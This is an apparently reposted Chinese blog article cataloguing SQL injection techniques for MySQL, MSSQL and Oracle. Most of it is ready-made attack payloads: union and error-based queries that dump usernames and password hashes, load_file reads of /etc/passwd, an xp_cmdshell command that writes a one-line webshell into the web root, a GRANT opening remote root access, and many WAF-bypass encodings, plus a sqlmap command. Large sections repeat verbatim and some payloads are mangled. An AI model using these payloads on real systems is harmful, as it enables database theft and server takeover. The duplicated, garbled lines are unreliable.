小编给大家分享一下SQL注入类型有哪些,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。攻击者可以直接在当前界面内容中获取想要获得的内容。数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。Mysql 手工注入报错注入1.floor()2.extractvalue()3.updatexml()4.geometrycollection()5.multipoint()6.polygon()7.multipolygon()8.linestring()9.multilinestring()10.exp()时间盲注常用函数 sleep()分割函数 substr、substring、left分割函数编码后可不用引号,ascii() hex()一般时间盲注我们还需要使用条件判断函数if(expre1,expre2,expre3)当 expre1 为 true 时,返回 expre2,false 时,返回 expre3布尔盲注这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap会产生大量垃圾数据尝试性插入、引号、双引号、转义符 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
二次注入和宽字节注入二次注入:没有单引号的sql语句中,进行16进制编码,这样就不会带有单引号宽字节注入:单引号转义为 ‘ , mysql 会将 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,从而绕过转义
Oracle 手工注入
lian合注入报错注入布尔盲注时间盲注SQL手工注入
判断注入点是否存在数字型注入url后输入and 1=1and 1=2如返回不同,则可判断注入点存在例:http://www.xxx.cn/news.php?p=1&id=4′ 返回错误http://www.xxx.cn/news.php?p=1&id=4 and 1=1 返回正确http://www.xxx.cn/news.php?p=1&id=4 and 1=2 返回错误字符型注入url后输入’ and 1=1 and ‘1’=’1′ and 1=2 and ‘1’=’1http://www.xxx.cn/news.php?p=1&id=4′ 返回错误http://www.xxx.cn/news.php?p=1&id=4′ and 1=1 and ‘1’=’1 返回正确http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 and ‘1’=’1 返回错误搜索型注入输入框中输入’ 返回错误x%’ and 1=1 and ‘%’=’ 返回正确x%’ and 1=2 and ‘%’=’ 返回错误
判断字段数数字型http://www.xxx.cn/news.php?p=1&id=4 order by 26 返回正确http://www.xxx.cn/news.php?p=1&id=4 order by 27 返回错误得出结论:字段数26。字符型http://www.xxx.cn/news.php?p=1&id=4′ order by 26 # 返回正确http://www.xxx.cn/news.php?p=1&id=4′ order by 27 # 返回错误得出结论:字段数26。搜索型x%’ order by 26 # 返回正确x%’ order by 27 # 返回错误得出结论:字段数26。
寻找可显示字段数字型http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,3,4,5,6,7,8,9,….字符型http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,2,3,4,5,6,7,8,9,…. #搜索型x%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,…. #
查数据库名数字型http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,….字符型http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,2,database(),4,5,6,7,8,9,…. #搜索型x%’ and 1=2 union select 1,2,database(),4,5,6,7,8,9,…. #
查数据库中表名数字型http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’数据库名’数据库名也可以使用十六进制字符型http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’数据库名’ #数据库名也可以使用十六进制搜索型X%’ and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,…. from information_schema.tables where table_schema=’数据库名’ #数据库名也可以使用十六进制
查表中的列名数字型http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’表名’表名也可以使用十六进制字符型http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’表名’ #表名也可以使用十六进制搜索型x%’ and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,…. from information_schema.columns where table_name=’表名’ #表名也可以使用十六进制
查表中的数据数字型http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名字符型http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #搜索型x%’ and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,…. from 表名 #显示版本:select version();显示字符集:select @@character_set_database;显示数据库show databases;显示表名:show tables;显示计算机名:select @@hostname;显示系统版本:select @@version_compile_os;显示mysql路径:select @@basedir;显示数据库路径:select @@datadir;显示root密码:select User,Password from mysql.user;开启外连:GRANT ALL PRIVILEGES ON . TO ‘root’@’%’ IDENTIFIED BY ‘123456’ WITH GRANT OPTION;
MySQL函数利用MySQL提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限SQL语句如下: union select 1,load_file(‘/etc/passwd’),3,4,5 #通常,一些防注入语句不允许单引号的出现,那么可以使用一下语句绕过:union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #对路径进行16进制转换。
MSSQL手工注入与SQL注入不同的是,SQL利用的爆出显示的字段,MSSQL利用的报错注入,插入恶意的sql语句,让查询报错,在报出的错误中,显示我们想要的信息。注入点:www.xxx.cn/xxx/xxx.aspx?id=1
查询数据库版本@@version:MSSQL全局变量,表示数据库版本信息。测试语句:http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0注意:“and @@vsersion>0”也可以写成“and 0/@@version>0”报错信息:在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) – 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1
原因:
@@version是MSSQL的全局变量,如果我们在“?id=1”后面加上“and @@version>0”,那么“and”后面的语句会将“@@version”强制抓换成int类型与0比较大小,但是类型转换失败,所以就将数据库信息暴露出来。
查询计算机名称
@@servername:MSSQL全局变量,表示计算机名称。
报错信息:
在将 nvarchar 值 ‘WINDOWS-XXXXXX‘ 转换成数据类型 int 时失败。
查询当前数据库名称
db_name():当前使用的数据库名称。
报错信息:
在将 nvarchar 值 ‘abc‘ 转换成数据类型 int 时失败。
查询当前连接数据库的用户
User_Name():当前连接数据库的用户。
报错信息:
在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。
注意: 如果看到dbo,那么多半当前数据库的用户是dba权限。
查询其他数据库名称
爆其他数据库:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
报错信息:
在将 nvarchar 值 ‘master‘ 转换成数据类型 int 时失败。
再爆其他的数据库则这么写:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’))>0
继续的话要这么写:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’,’abc’))>0
查询数据库中的表名
查表名:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0)>0
报错信息:
在将 nvarchar 值 ‘depart‘ 转换成数据类型 int 时失败。
再爆其他表:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘depart’))>0
再继续:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘depart’,’worker’))>0
查询表中的列名或者是字段名
查字段名:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’)>0
报错信息:
在将 nvarchar 值 ‘ID‘ 转换成数据类型 int 时失败。
再爆其他字段:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’ and COLUMN_NAME not in(‘ID’))>0
再继续:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’ and COLUMN_NAME not in(‘ID’,’NAME’))>0
爆数据
查询数据:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0
报错信息:
在将 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 转换成数据类型 int 时失败。
写入一句话木马
如果数据的权限是dba,且知道网站绝对路径的话,那么我们就可以用这个语句来写一句话木马进去:
asp木马:
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell ‘echo “;”” > d:KfSitekaifeng2.asp’–
aspx木马:
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell ‘echo “;”” >C:inetpubwwwroot2.aspx’ —
原理是sql server支持堆叠查询,利用xp_cmdshell可以执行cmd指令,cmd指令中用【echo 内容 > 文件】可以写文件到磁盘里面。
利用hex编码绕过WAF
http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐浏览器中的hackbar工具的Encoding底下的“HEX Encoding”轻松把字符串编码成为可以利用的hex,然后利用报错注入就可以注入这个网站。
爆数据库版本
select convert(int,@@version)
hex编码后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
然后使用如下方式注入:
http://www.xxx.com/xxx/xxx.aspx?username=xxx’;dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–
报错信息:
在将 nvarchar 值 ‘Microsoft SQL Server 2008 免费云主机域名R2 (RTM) – 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。
注意后面的注入语句:
dEcLaRe @s vArChAr(8000) //声明一个局部变量@s,类型为varchar(8000)
sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //给@s赋值,为“select convert(int,@@version)”的十六进制编码
eXeC(@s) //调用函数exec()执行“@s”中的内容。
爆当前数据库
select convert(int,db_name())
爆当前用户
select convert(int,User_Name())
爆表
select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))
爆字段
select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))
爆数据
select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))
SQL注入之你问我答小知识
1.id-1,页面如果返回正确页面说明是有注入,那+1可以吗?(www.test.com/xsn.php?id=12+1)
不行,因为加号在url里面是空格的意思。
2.你知道mysql里有几种注释方式吗?
三种:①.# 这个注释直到该行结束;②./注释多行/;③.–+ 这个注释直到该行结束。
第三种需要解释一下,因为之前我不知道这个方法,说‘–’是注释符我还大概有印象,但是–+就懵。其实是– ,注意–的后面有一个空格。但是在url里你直接空格会被浏览器直接处理掉,就到不了数据库里。所以特意用加号代替。
3.“select select * from admin”可以执行吗?倘若不可以请说明。
不可以执行,在使用select双层的时候要把第二个括起来,否则无效。
4.倘若空格过滤了,你知道有哪些可以绕过吗?或者说你知道哪些可以替代空格吗?这些是空字符。比如un%0aion会被当做union来处理。 假如空格被过滤了,可能的sql语句就会变成:select from messages where uid=45or1=1,我们可以使用//来替换空格: http://www.xxx.com/index.php?id=45//or/**/1=1 另外: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ 都可以替代空格。
5.Windows下的Oracle数据库是什么权限? Windows下的Oracle数据库,必须以system权限运行。
6.SQL注入和SQL盲注有何差别?
在常规的SQL注入中,应用返回数据库中的数据并呈现给你,而在SQL盲注漏洞中,你只能获取分别与注入中的真假条件相对应的两个不同响应,应用会针对真假条件返回不同的值,但是攻击者无法检索查询结果。
7.什么是引发SQL注入漏洞的主要原因?
Web应用未对用户提供的数据进行充分审查和未对输出进行编码是产生问题的主要原因。
8.什么是堆叠查询(stacked query)?
在单个数据库连接中,执行多个查询序列,是否允许堆叠查询是影响能否利用SQL注入漏洞的重要因素之一。
在MYSQL中,SELECT * FROM members; DROP members;是可以执行的,数据库是肯定支持堆叠查询的,但是让php来执行堆叠查询的sql语句就不一定行了。
/*! … */
是啥意思?
MYSQL数据库特有,如果在注释的开头部分添加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或者等于注释中包含的版本,代码就会被执行。
select 1 /!40119 + 1/
该查询结果:
返回2(MySQL版本为4.01.19或者更高)
返回1(其他情况)
10.如果注入语句中的‘=’被过滤?
可以考虑使用like关键字替换:union select password from users where username like admin;
11.如果空格被过滤? 可以考虑使用‘/**/’替换:
union//select//password//from//users//where//username//like//admin;
注意,如果过滤了关键字,在MySQL中,还可以在关键字内部使用内联注释来绕过:
uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin;
12.SQL注入中的‘+’?
MSSQL:在MSSQL中,“+”运算符被用于字符串连接和加法运算,‘1’+‘1’=‘11’,1+1=2;
MySQL:在MySQL中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2;
Oracle:在Oracle中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2。
13.数据库中字符串的连接符?
MSSQL:‘a’+‘b’=‘ab’
MYSQL:‘a’ ‘b’=‘ab’
Oracle:‘a’||‘b’=‘ab’
14.注释符
MSSQL:‘– ’(注意后面的空格),‘/…/’
MySQL:‘– ’,‘# ’,‘/…/’,注意,–后面必须要有一个或者多个空格。
Oracle:‘– ’,‘/…/’
三种数据库中,通用的注释符是‘– ’
WAF绕过
规则层面的绕过
SQL注释符绕过
union/**/select
union/aaaa%01bbs/select
union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select
内连注释:/!xxxx/
空白符号绕过:
MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/
正则的空白符:%09,%0A,%0B,%0D,%20
Example-1:union%250Cselect
Example-1:union%25A0select
函数分隔符号:
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
浮点数词法分析:
select * from users where id=8E0union select
1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select
1,2,3,4,5,6,7,8,9,0
select * from users where id=Nunion select
1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:
Error-based SQL注入函数非常容易被忽略
extractvalue(1,concat(0x5c,md5(3))); updatexml(1,concat(0x5d,md5(3)),1); GeometryCollection((select*from(select*from (select@@version)f)x)) polygon((select*from(selectname_const(version(),1))x)) linestring() multipoint() multilinestring() multipolygon()
MySQL特殊语法
select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法
以注释绕过为例子,开始Fuzz
注释符绕过:
*先测试最基本的: union/**/select
*再测试中间引入特殊字:union/aaaa%01bbs/select
*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select
最基本的模式:
union/something/select
大小写绕过
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只对整体进行过滤。
例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过
如果在程序中设置出现关键字之后替换为空,那么SQl注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。
例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过
可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。
http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过
在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入
Mysql一些特性:
1、Mysql中的大小写不敏感,大写和小写一样。
2、Mysql中的十六进制与URL编码。
3、符号和关键字替换 and –> &&、or –> ||
4、内联注释与多行注释 /!内联注释/ /多行注释/。
5、Mysql中会自动识别URL与Hex编码好的内容。
绕过策略:
1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。
2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr
3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入
编码:hex,urlencode
空格URL编码:
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
Sqlmap安全检测:
sqlmap -u “URL” –hex –dbs –batch
绕过去除(union和select)的SQL注入
编码%0a、加入/**/符,union/select大小写、双写等绕过。
以上是“SQL注入类型有哪些”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注云编程开发博客行业资讯频道!
原因:@@version是MSSQL的全局变量,如果我们在“?id=1”后面加上“and @@version>0”,那么“and”后面的语句会将“@@version”强制抓换成int类型与0比较大小,但是类型转换失败,所以就将数据库信息暴露出来。
查询计算机名称@@servername:MSSQL全局变量,表示计算机名称。报错信息:在将 nvarchar 值 ‘WINDOWS-XXXXXX‘ 转换成数据类型 int 时失败。
查询当前数据库名称db_name():当前使用的数据库名称。报错信息:在将 nvarchar 值 ‘abc‘ 转换成数据类型 int 时失败。
查询当前连接数据库的用户User_Name():当前连接数据库的用户。报错信息:在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。注意: 如果看到dbo,那么多半当前数据库的用户是dba权限。
查询其他数据库名称爆其他数据库:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0报错信息:在将 nvarchar 值 ‘master‘ 转换成数据类型 int 时失败。再爆其他的数据库则这么写:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’))>0继续的话要这么写:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’,’abc’))>0
查询数据库中的表名查表名:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0)>0报错信息:在将 nvarchar 值 ‘depart‘ 转换成数据类型 int 时失败。再爆其他表:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘depart’))>0再继续:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘depart’,’worker’))>0
查询表中的列名或者是字段名查字段名:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’)>0报错信息:在将 nvarchar 值 ‘ID‘ 转换成数据类型 int 时失败。再爆其他字段:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’ and COLUMN_NAME not in(‘ID’))>0再继续:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’ and COLUMN_NAME not in(‘ID’,’NAME’))>0
爆数据查询数据:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0报错信息:在将 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 转换成数据类型 int 时失败。
写入一句话木马如果数据的权限是dba,且知道网站绝对路径的话,那么我们就可以用这个语句来写一句话木马进去:asp木马:http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell ‘echo “;”” > d:KfSitekaifeng2.asp’–aspx木马:http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell ‘echo “;”” >C:inetpubwwwroot2.aspx’ –原理是sql server支持堆叠查询,利用xp_cmdshell可以执行cmd指令,cmd指令中用【echo 内容 > 文件】可以写文件到磁盘里面。
利用hex编码绕过WAFhttp://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐浏览器中的hackbar工具的Encoding底下的“HEX Encoding”轻松把字符串编码成为可以利用的hex,然后利用报错注入就可以注入这个网站。
爆数据库版本select convert(int,@@version)hex编码后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29然后使用如下方式注入:http://www.xxx.com/xxx/xxx.aspx?username=xxx’;dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–报错信息:在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。注意后面的注入语句:dEcLaRe @s vArChAr(8000) //声明一个局部变量@s,类型为varchar(8000)sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //给@s赋值,为“select convert(int,@@version)”的十六进制编码eXeC(@s) //调用函数exec()执行“@s”中的内容。
爆当前数据库select convert(int,db_name())
爆当前用户select convert(int,User_Name())
爆表select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))
爆字段select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))
爆数据select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))
SQL注入之你问我答小知识1.id-1,页面如果返回正确页面说明是有注入,那+1可以吗?(www.test.com/xsn.php?id=12+1)不行,因为加号在url里面是空格的意思。2.你知道mysql里有几种注释方式吗?三种:①.# 这个注释直到该行结束;②./注释多行/;③.–+ 这个注释直到该行结束。第三种需要解释一下,因为之前我不知道这个方法,说‘–’是注释符我还大概有印象,但是–+就懵。其实是– ,注意–的后面有一个空格。但是在url里你直接空格会被浏览器直接处理掉,就到不了数据库里。所以特意用加号代替。3.“select select * from admin”可以执行吗?倘若不可以请说明。不可以执行,在使用select双层的时候要把第二个括起来,否则无效。4.倘若空格过滤了,你知道有哪些可以绕过吗?或者说你知道哪些可以替代空格吗?这些是空字符。比如un%0aion会被当做union来处理。 假如空格被过滤了,可能的sql语句就会变成:select from messages where uid=45or1=1,我们可以使用//来替换空格: http://www.xxx.com/index.php?id=45//or/**/1=1 另外: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ 都可以替代空格。5.Windows下的Oracle数据库是什么权限? Windows下的Oracle数据库,必须以system权限运行。6.SQL注入和SQL盲注有何差别?在常规的SQL注入中,应用返回数据库中的数据并呈现给你,而在SQL盲注漏洞中,你只能获取分别与注入中的真假条件相对应的两个不同响应,应用会针对真假条件返回不同的值,但是攻击者无法检索查询结果。7.什么是引发SQL注入漏洞的主要原因?Web应用未对用户提供的数据进行充分审查和未对输出进行编码是产生问题的主要原因。8.什么是堆叠查询(stacked query)?在单个数据库连接中,执行多个查询序列,是否允许堆叠查询是影响能否利用SQL注入漏洞的重要因素之一。在MYSQL中,SELECT * FROM members; DROP members;是可以执行的,数据库是肯定支持堆叠查询的,但是让php来执行堆叠查询的sql语句就不一定行了。/*! … */是啥意思?MYSQL数据库特有,如果在注释的开头部分添加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或者等于注释中包含的版本,代码就会被执行。select 1 /!40119 + 1/该查询结果:返回2(MySQL版本为4.01.19或者更高)返回1(其他情况)10.如果注入语句中的‘=’被过滤?可以考虑使用like关键字替换:union select password from users where username like admin;11.如果空格被过滤? 可以考虑使用‘/**/’替换:union//select//password//from//users//where//username//like//admin;注意,如果过滤了关键字,在MySQL中,还可以在关键字内部使用内联注释来绕过:uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin;12.SQL注入中的‘+’?MSSQL:在MSSQL中,“+”运算符被用于字符串连接和加法运算,‘1’+‘1’=‘11’,1+1=2;MySQL:在MySQL中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2;Oracle:在Oracle中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2。13.数据库中字符串的连接符?MSSQL:‘a’+‘b’=‘ab’MYSQL:‘a’ ‘b’=‘ab’Oracle:‘a’||‘b’=‘ab’14.注释符MSSQL:‘– ’(注意后面的空格),‘/…/’MySQL:‘– ’,‘# ’,‘/…/’,注意,–后面必须要有一个或者多个空格。Oracle:‘– ’,‘/…/’三种数据库中,通用的注释符是‘– ’
WAF绕过
规则层面的绕过
SQL注释符绕过union/**/selectunion/aaaa%01bbs/selectunion/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select内连注释:/!xxxx/
空白符号绕过:MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/正则的空白符:%09,%0A,%0B,%0D,%20Example-1:union%250CselectExample-1:union%25A0select
函数分隔符号:concat%2520(concat/**/(concat%250c(concat%25a0(
浮点数词法分析:select * from users where id=8E0union select1,2,3,4,5,6,7,8,9,0select * from users where id=8.0union select1,2,3,4,5,6,7,8,9,0select * from users where id=Nunion select1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:Error-based SQL注入函数非常容易被忽略MySQL特殊语法select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法以注释绕过为例子,开始Fuzz注释符绕过:*先测试最基本的: union/**/select*再测试中间引入特殊字:union/aaaa%01bbs/select*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select最基本的模式:union/something/select大小写绕过如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只对整体进行过滤。例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过如果在程序中设置出现关键字之后替换为空,那么SQl注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入Mysql一些特性:1、Mysql中的大小写不敏感,大写和小写一样。2、Mysql中的十六进制与URL编码。3、符号和关键字替换 and –> &&、or –> ||4、内联注释与多行注释 /!内联注释/ /多行注释/。5、Mysql中会自动识别URL与Hex编码好的内容。绕过策略:1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入编码:hex,urlencode空格URL编码:%0a 新建一行%0c 新的一页%0d return功能%0b TAB键(垂直)Sqlmap安全检测:sqlmap -u “URL” –hex –dbs –batch
绕过去除(union和select)的SQL注入编码%0a、加入/**/符,union/select大小写、双写等绕过。以上是“SQL注入类型有哪些”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注云编程开发博客行业资讯频道!
详解网络流量监控 网络的行为特征可以通过其承载的流量的动态特性来反映,所以有针对性地监测网络中流量的各种参数(如接收和发送数据报大小、丢包率、数据报延迟等信息),能从这些参数中分析网络的运行状态。通过分析和研究网络上所运载的流量特性,有可能提供一条有效的探索网…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。